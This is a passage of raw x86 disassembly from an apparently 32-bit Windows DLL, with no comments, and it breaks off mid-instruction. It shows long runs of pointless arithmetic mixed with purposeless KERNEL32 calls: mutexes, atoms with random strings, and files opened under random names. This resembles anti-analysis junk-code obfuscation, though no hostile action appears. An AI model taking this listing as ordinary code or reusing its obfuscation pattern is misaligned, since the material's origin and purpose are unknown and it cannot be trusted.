mov ecx, dword [ebp - 0x4ce4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c9c]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x2c2], dl
lea edx, [ebp - 0x618]
mov dword [ebp - 0x540c], edx
lea eax, [ebp - 0xb9c]
mov dword [0x100bbeb4], eax
mov ecx, dword [ebp - 0x44fc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3bb0]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3e34]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100babc0], eax
mov ecx, dword [0x100ba0ec]
mov edx, dword [ecx]
mov dword [ebp - 0x5410], edx
mov eax, dword [0x100ba6e4]
movzx ecx, word [eax]
imul edx, ecx, 0xa3d
mov word [0x100b94f8], dx
mov eax, dword [ebp - 0x41fc]
mov ecx, dword [ebp - 0x350c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x42bc], edx
movsx eax, byte [0x100b8492]
movsx ecx, byte [ebp - 0x2ca]
sub eax, ecx
mov byte [ebp - 0x52], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbeb8], eax
push 0x2f32
push 0x1f85
push 0x2aac
push 0x1d75
mov edx, dword [ebp - 0x4d40]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x5414], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9c14], eax
mov eax, dword [ebp - 0x4b2c]
movsx edx, word [eax]
mov eax, dword [0x100bba68]
movsx ecx, word [eax]
shl edx, cl
mov word [0x100b95ec], dx
movzx ecx, byte [ebp - 0x276]
mov edx, dword [0x100ba380]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x249], cl
mov ecx, dword [0x100b7384]
mov dword [ebp - 0x5418], ecx
lea edx, [ebp - 0x29a]
mov dword [0x100bbebc], edx
mov eax, dword [0x100ba37c]
movzx edx, word [eax]
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x15d8], dx
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x541c], ecx
lea edx, [ebp - 0xb02c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x41dc]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2ef4]
mov dword [0x100bab84], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bbec0], eax
movsx edx, word [ebp - 0x4b8]
movsx eax, word [0x100b741c]
or edx, eax
mov word [ebp - 0x1588], dx
movzx ecx, byte [ebp - 0x2f8]
movzx edx, byte [0x100b72b3]
add ecx, edx
mov byte [ebp - 0x1a3], cl
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [0x100ba838]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x100b74cc], edx
mov eax, dword [ebp - 0x47a4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100bbec4], eax
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x5420], ecx
push 0
push 0x750
push 0x33da
push 0x2e35
push 2
mov edx, dword [0x100bb43c]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x5424], eax
movzx eax, word [ebp - 0x1670]
movzx ecx, word [0x100b73f0]
and eax, ecx
mov word [ebp - 0x538], ax
lea edx, [ebp - 0xb5f0]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x127c]
mov ecx, dword [0x100b9688]
movzx ecx, word [ecx]
sar eax, cl
mov word [0x100bb31c], ax
movsx edx, byte [ebp - 0x21e]
mov eax, dword [0x100ba714]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x68], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbec8], eax
mov edx, dword [ebp - 0x3268]
add edx, dword [ebp - 0x3e04]
mov dword [0x100b74d0], edx
lea eax, [ebp - 0x5d8]
mov dword [ebp - 0x5428], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9878], eax
lea ecx, [ebp - 0x9eb0]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x41a8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5214]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x294], al
mov eax, dword [ebp - 0x5330]
mov ecx, dword [eax]
mov dword [0x100bbecc], ecx
mov dword [ebp - 0x542c], 0x100b73a8
mov edx, dword [ebp - 0x41d0]
mov eax, dword [edx]
mov dword [ebp - 0x5430], eax
mov ecx, dword [ebp - 0x4138]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1194]
and edx, eax
mov word [0x100bb95c], dx
mov ecx, dword [ebp - 0x4398]
mov edx, dword [ecx]
sub edx, dword [0x100bb304]
mov dword [ebp - 0x3604], edx
movzx eax, byte [ebp - 0x95]
mov ecx, dword [ebp - 0x37c4]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3618]
mov byte [edx], al
mov eax, dword [0x100bb63c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x50dc]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b71a2], dl
movsx ecx, byte [ebp - 0x1d5]
movsx edx, byte [ebp - 0x2c5]
xor ecx, edx
mov byte [ebp - 0x92], cl
mov eax, dword [ebp - 0x4700]
mov ecx, dword [eax]
mov dword [ebp - 0x5434], ecx
mov dl, byte [0x100b72c7]
mov byte [0x100b865a], dl
mov eax, dword [ebp - 0x4b2c]
movsx ecx, word [eax]
movsx edx, word [0x100b74c4]
add ecx, edx
mov word [ebp - 0x4cc], cx
mov eax, dword [0x100ba34c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x5ec], cx
push str.2lt_642_HlseE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18d0], ax
lea ecx, [ebp - 0x48e4]
mov dword [0x100bbed0], ecx
movsx edx, byte [ebp - 0x31b]
mov eax, dword [0x100b998c]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x1f6], dl
mov edx, dword [ebp - 0x355c]
mov eax, dword [ebp - 0x4530]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x38e8], eax
mov ecx, dword [ebp - 0x428c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x30a]
sar edx, cl
mov eax, dword [0x100bb660]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbd90], eax
push 0x100bbed4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x1150]
mov dword [ebp - 0x5438], ecx
push 0x18da
push 0
lea edx, [ebp - 0x36b4]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbef8], eax
mov eax, dword [0x100bb5f0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4aa8]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x508c]
mov word [edx], cx
push str.EBUM
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18d4], ax
mov dword [0x100bbefc], 0x100b80ee
push 0x100bb904
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x5358]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4984]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0xc98], cx
lea ecx, [ebp - 0xb5cc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 1
lea edx, [ebp - 0x9814]
push edx
mov eax, dword [0x100bbf04]
push eax
mov ecx, dword [0x100bbf00]
push ecx
mov edx, dword [0x100b96b0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3c00], eax
mov eax, dword [ebp - 0x4b00]
mov ecx, dword [eax]
mov dword [ebp - 0x543c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbf08], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5440], eax
mov edx, dword [0x100bb9e4]
mov eax, dword [ebp - 0x3dc4]
xor eax, dword [edx]
mov dword [0x100bb78c], eax
mov ecx, dword [ebp - 0x482c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1b0], dl
movsx edx, word [ebp - 0x18b8]
movsx eax, word [0x100b74ac]
xor edx, eax
mov ecx, dword [ebp - 0x3f04]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb858], eax
mov edx, dword [0x100b959c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x486c]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100ba078]
mov byte [ecx], al
mov edx, dword [0x100bbd38]
mov ax, word [edx]
mov word [ebp - 0x18d8], ax
mov ecx, dword [ebp - 0x4840]
sub ecx, dword [0x100ba3a0]
mov dword [ebp - 0x2d94], ecx
lea edx, [ebp - 0xa0c0]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 2
push 5
push 0
push 1
push 0x40000000
push str.PxoAHN9nUoqaXewmVvmPhK6dGJ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbf0c], eax
mov eax, dword [ebp - 0x543c]
or eax, dword [ebp - 0x4bc0]
mov dword [0x100b74d4], eax
mov dword [ebp - 0x5444], 0x100b814e
movsx edx, byte [ebp - 0xa5]
mov eax, dword [0x100bbcb0]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4768]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x53fc], eax
mov edx, dword [ebp - 0x4b44]
mov ax, word [edx]
mov word [0x100bbf10], ax
mov dword [ebp - 0x5448], 0x100bbcb8
lea ecx, [ebp - 0x2a48]
mov dword [ebp - 0x544c], ecx
mov edx, dword [ebp - 0x3490]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4188]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100ba358]
mov byte [edx], al
movzx eax, byte [ebp - 0x1fd]
mov ecx, dword [ebp - 0x3ca0]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x520c]
mov byte [ecx], al
mov edx, dword [0x100bb7a4]
mov eax, dword [ebp - 0x4b1c]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3f50]
mov dword [edx], ecx
lea eax, [ebp - 0xaf0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x4a9c]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x530]
add edx, eax
mov word [0x100b9f60], dx
lea ecx, [ebp - 0x1688]
mov dword [ebp - 0x5450], ecx
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [0x100ba0b8]
mov eax, dword [ebp - 0x3130]
and eax, dword [edx]
mov dword [ebp - 0x2c30], eax
movsx edx, byte [ebp - 0x2da]
movsx ecx, byte [0x100b7257]
sar edx, cl
mov byte [0x100b7363], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9680], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5454], eax
movzx eax, byte [ebp - 0x2e0]
mov ecx, dword [ebp - 0x49fc]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x238], al
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbf14], eax
mov edx, dword [0x100bac80]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x189c]
or eax, ecx
mov word [ebp - 0x1008], ax
movzx edx, word [0x100b72b0]
mov eax, dword [ebp - 0x3ef4]
movzx ecx, word [eax]
xor edx, ecx
mov word [0x100bb8e8], dx
mov edx, dword [ebp - 0x4938]
mov dword [ebp - 0x5458], edx
mov eax, dword [ebp - 0x4aa8]
movsx eax, word [eax]
movsx ecx, word [ebp - 0x89c]
cdq
idiv ecx
mov word [ebp - 0x998], ax
mov edx, dword [ebp - 0x2fb4]
add edx, dword [ebp - 0x3008]
mov dword [0x100b74d8], edx
push str.ApzwL_NEOCXa_5_FKI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18dc], ax
push str.C_KxELIxrPYD
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x14f4], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bbf18], eax
push 0x100b95a4
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100bae18]
movsx ecx, byte [eax]
movsx edx, byte [0x100b71db]
and ecx, edx
mov byte [ebp - 0x2b4], cl
mov eax, dword [ebp - 0x419c]
movzx edx, byte [eax]
mov eax, dword [0x100bb248]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b8266], dl
movzx eax, word [ebp - 0x6a0]
cdq
mov ecx, 0xe7d
idiv ecx
mov edx, dword [ebp - 0x36f0]
mov word [edx], ax
mov eax, dword [0x100b7210]
sub eax, dword [ebp - 0x2fac]
mov dword [ebp - 0x323c], eax
mov ecx, dword [0x100bad70]
mov dword [0x100bbf1c], ecx
mov edx, dword [0x100ba808]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x395c]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x184c], ax
lea edx, [ebp - 0x18c]
mov dword [ebp - 0x545c], edx
mov eax, dword [ebp - 0x4c4c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov cl, byte [0x100b863e]
mov byte [0x100b865b], cl
mov edx, dword [0x100ba514]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5398]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x1f4], al
mov eax, dword [ebp - 0x5330]
mov ecx, dword [eax]
mov dword [ebp - 0x5460], ecx
push 2
push 0x100bbbf8
mov edx, dword [ebp - 0x98c8]
push edx
mov eax, dword [ebp - 0x98cc]
push eax
mov ecx, dword [0x100baf48]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5464], eax
movzx edx, word [ebp - 0x1818]
movzx eax, word [0x100b9f60]
add edx, eax
mov ecx, dword [0x100bbccc]
mov word [ecx], dx
lea edx, [ebp - 0x5e0]
mov dword [ebp - 0x5468], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x546c], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bbf20], eax
mov eax, dword [ebp - 0x37ac]
mov ecx, dword [eax]
and ecx, dword [0x100b7368]
mov dword [ebp - 0x4910], ecx
mov edx, dword [0x100bb308]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x42e4], eax
lea eax, [ebp - 0x276]
mov dword [0x100bbf24], eax
mov cl, byte [0x100b721b]
mov byte [ebp - 0x32b], cl
mov edx, dword [ebp - 0x4c3c]
mov eax, dword [0x100b96f4]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x3dc4], ecx
movzx edx, word [0x100b7344]
mov eax, dword [ebp - 0x3dd0]
movzx ecx, word [eax]
sar edx, cl
mov word [0x100b739c], dx
mov ecx, dword [ebp - 0x4b2c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4388]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x1374], dx
push str.o_1gPYMHLiOd4YFi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18e0], ax
mov dword [ebp - 0x5470], 0x100b73ac
movzx edx, byte [ebp - 0x32a]
movzx ecx, byte [ebp - 0x1fa]
shl edx, cl
mov eax, dword [0x100b9be4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x53b4]
add ecx, dword [ebp - 0x4290]
mov dword [ebp - 0x2ab0], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbf28], eax
mov edx, dword [ebp - 0x53a0]
mov eax, dword [edx]
and eax, dword [ebp - 0x4934]
mov ecx, dword [ebp - 0x44f4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x52b4]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x129]
or eax, ecx
mov byte [0x100b7376], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x5474], eax
mov edx, dword [0x100bb994]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x178c]
imul eax, ecx
mov edx, dword [ebp - 0x3808]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbf2c], eax
lea eax, [ebp - 0x9c28]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea ecx, [ebp - 0x734]
mov dword [ebp - 0x5478], ecx
mov dl, byte [ebp - 0x2c5]
mov byte [0x100b86d2], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba7c4], eax
lea eax, [ebp - 0x26f]
mov dword [ebp - 0x547c], eax
mov ecx, dword [ebp - 0x462c]
mov edx, dword [0x100baae0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4ad8]
mov dword [eax], edx
push 0x100ba1f8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x42dc], eax
mov ecx, dword [0x100baf50]
mov edx, dword [ebp - 0x3d64]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [0x100ba974]
mov dword [ecx], eax
mov edx, dword [ebp - 0x52ec]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1c9]
add eax, ecx
mov byte [ebp - 0x78], al
lea edx, [ebp - 0x18a4]
mov dword [ebp - 0x5480], edx
mov eax, dword [ebp - 0x45c8]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xe7c]
and ecx, edx
mov word [0x100b74dc], cx
mov eax, dword [ebp - 0x47ec]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xea]
sub ecx, edx
mov eax, dword [ebp - 0x3548]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3494]
mov edx, dword [ecx]
mov ecx, dword [0x100b7480]
shl edx, cl
mov dword [ebp - 0x31c0], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbf30], eax
movzx eax, word [ebp - 0x8f8]
movzx ecx, word [0x100ba290]
imul eax, ecx
mov edx, dword [0x100b9ab8]
mov word [edx], ax
push str.F4HmPsAz_k
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18e4], ax
mov eax, dword [0x100b99bc]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp - 0x39c0]
xor edx, edx
mov ecx, 0x8c9
div ecx
mov dword [ebp - 0x4fc4], eax
mov dl, byte [ebp - 0x2e3]
mov byte [ebp - 0x32c], dl
push str.GQZ8a
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18e8], ax
mov dword [0x100bbf34], 0x100bab04
mov eax, dword [ebp - 0x4ec0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x4c68]
mov byte [edx], cl
lea eax, [ebp - 0x37cc]
mov dword [ebp - 0x5484], eax
movsx edx, byte [ebp - 0x14a]
mov eax, dword [ebp - 0x51c8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bbe28]
mov byte [ecx], dl
lea edx, [ebp - 0x166c]
mov dword [ebp - 0x5488], edx
movzx eax, word [0x100bbd20]
movzx ecx, word [ebp - 0x1050]
add eax, ecx
mov word [ebp - 0x13b4], ax
mov edx, dword [ebp - 0x4604]
mov eax, dword [ebp - 0x38cc]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [0x100b738c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbf38], eax
mov edx, dword [0x100ba768]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3450]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x770], ax
lea eax, [ebp - 0xaf0c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, byte [ebp - 0x2f8]
mov eax, dword [0x100bbeac]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4260]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3f1c]
mov eax, dword [edx]
mov dword [0x100bbf3c], eax
mov ecx, dword [ebp - 0x4b18]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4ef0]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x27a], dl
mov dword [ebp - 0x548c], 0x100bb4a8
mov edx, dword [ebp - 0x5264]
movzx eax, word [edx]
movzx ecx, word [0x100b94f8]
sar eax, cl
mov word [0x100bb8e8], ax
movzx ecx, word [0x100bb47c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x18e8], ax
push 0
push 2
push 5
push 0
push 2
push 0x80000000
push str.KyR5fj7gFzyhjguXi8XsrSmXj
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbf40], eax
mov edx, dword [ebp - 0x4c1c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4fe4]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x23e], al
lea eax, [ebp - 0x4714]
mov dword [0x100bbf44], eax
mov ecx, dword [ebp - 0x42cc]
mov dx, word [ecx]
mov word [ebp - 0x18ec], dx
mov eax, dword [0x100bad08]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4d]
and ecx, edx
mov byte [ebp - 0x1d6], cl
mov eax, dword [ebp - 0x4b38]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x2e2c]
mov edx, dword [0x100ba0ec]
mov dword [edx], ecx
movzx eax, word [ebp - 0xfb4]
movzx ecx, word [0x100bbcb8]
sub eax, ecx
mov word [ebp - 0xfcc], ax
mov edx, dword [ebp - 0x461c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4314]
shl eax, cl
mov ecx, dword [ebp - 0x5400]
mov dword [ecx], eax
lea edx, [ebp - 0x608]
mov dword [0x100bbf48], edx
mov dword [ebp - 0x5490], 0x100b9f20
mov al, byte [ebp - 0x300]
mov byte [ebp - 0x32d], al
mov ecx, dword [ebp - 0x44e8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2fc]
add edx, eax
mov byte [0x100b823f], dl
push str.CAQ_qlKye_O
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18f0], ax
movsx edx, byte [ebp - 0x323]
mov eax, dword [ebp - 0x5184]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x49b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4bb4]
mov eax, dword [edx]
mov dword [ebp - 0x5494], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbea0], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x5498], eax
movzx ecx, byte [ebp - 0x25e]
movzx edx, byte [0x100b81a7]
and ecx, edx
mov byte [0x100b7377], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbf4c], eax
push 0
push 0x99d
push 0x115d
push 0x18c4
push 1
mov eax, dword [ebp - 0x4688]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bbd58], eax
movzx ecx, word [ebp - 0x18f0]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x18f4], ax
movsx edx, word [ebp - 0x5c0]
movsx eax, word [ebp - 0x1448]
or edx, eax
mov ecx, dword [ebp - 0x4784]
mov word [ecx], dx
push 0
push 0x200
push 5
push 0
push 8
push 0x40000000
push 0x100aa050
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbf50], eax
lea edx, [ebp - 0xdf0]
mov dword [ebp - 0x549c], edx
mov ecx, dword [0x100bbe5c]
mov eax, dword [ebp - 0x5208]
xor edx, edx
div dword [ecx]
mov dword [0x100ba484], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbf54], eax
movsx edx, byte [ebp - 0x2e2]
mov eax, dword [0x100b96d0]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3a58]
mov byte [eax], dl
lea ecx, [ebp - 0x33b4]
mov dword [ebp - 0x54a0], ecx
push 0x100aa04c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18f8], ax
movzx edx, byte [ebp - 0x319]
mov eax, dword [0x100bb5bc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b737a], dl
push 2
lea edx, [ebp - 0x983c]
push edx
mov eax, dword [0x100ba3e4]
push eax
mov ecx, dword [0x100ba3e0]
push ecx
mov edx, dword [ebp - 0x4880]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba804], eax
mov eax, dword [ebp - 0x42a0]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xdf4]
shl edx, cl
mov word [ebp - 0x1548], dx
movsx eax, word [0x100bb3b8]
mov ecx, dword [0x100bb5ec]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0xc14], ax
movzx eax, word [ebp - 0x1584]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbf58], ax
movsx edx, byte [ebp - 0x26]
mov eax, dword [ebp - 0x4dd0]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9724]
mov byte [ecx], dl
movzx edx, word [ebp - 0xa18]
movzx eax, word [ebp - 0x1828]
imul edx, eax
mov ecx, dword [ebp - 0x3834]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x54a4], eax
mov edx, dword [0x100b98e8]
mov eax, dword [0x100ba918]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x4250]
mov dword [edx], ecx
mov eax, dword [ebp - 0x39fc]
mov ecx, dword [eax]
mov dword [0x100bbf5c], ecx
lea edx, [ebp - 0x319]
mov dword [ebp - 0x54a8], edx
movsx eax, word [0x100b9888]
movsx ecx, word [ebp - 0x998]
xor eax, ecx
mov word [ebp - 0x7ec], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba000], eax
mov edx, dword [ebp - 0x4868]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x5004]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100ba078]
mov byte [ecx], al
movzx edx, word [0x100b9ccc]
movzx eax, word [ebp - 0xc48]
or edx, eax
mov word [ebp - 0xb94], dx
mov ecx, dword [ebp - 0x4d58]
mov edx, dword [ebp - 0x3e4c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3cc4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4268]
mov eax, dword [edx]
sub eax, dword [ebp - 0x2af0]
mov dword [0x100b74e0], eax
mov ecx, dword [0x100baafc]
mov dl, byte [ecx]
mov byte [ebp - 0x32e], dl
mov eax, dword [ebp - 0x4ba4]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x50e0]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x5004]
mov byte [ecx], dl
mov edx, dword [0x100ba8bc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x4978]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x100bb6dc]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4b04], eax
push 0x100bbf60
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3ba4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5148]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xdbc], cx
mov ecx, dword [0x100bba50]
mov edx, dword [ecx]
mov dword [ebp - 0x54ac], edx
lea eax, [ebp - 0x161]
mov dword [0x100bbf84], eax
mov ecx, dword [0x100bb2d4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x28b]
add edx, eax
mov byte [ebp - 0x268], dl
mov dword [ebp - 0x54b0], 0x100b72c8
lea ecx, [ebp - 0xf38]
mov dword [0x100bbf88], ecx
push str.z_IDYHHo_k7ZB_3w
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbf8c], ax
movsx edx, word [0x100b9d34]
mov eax, dword [ebp - 0x3710]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x9a4], dx
mov edx, dword [0x100bb5f8]
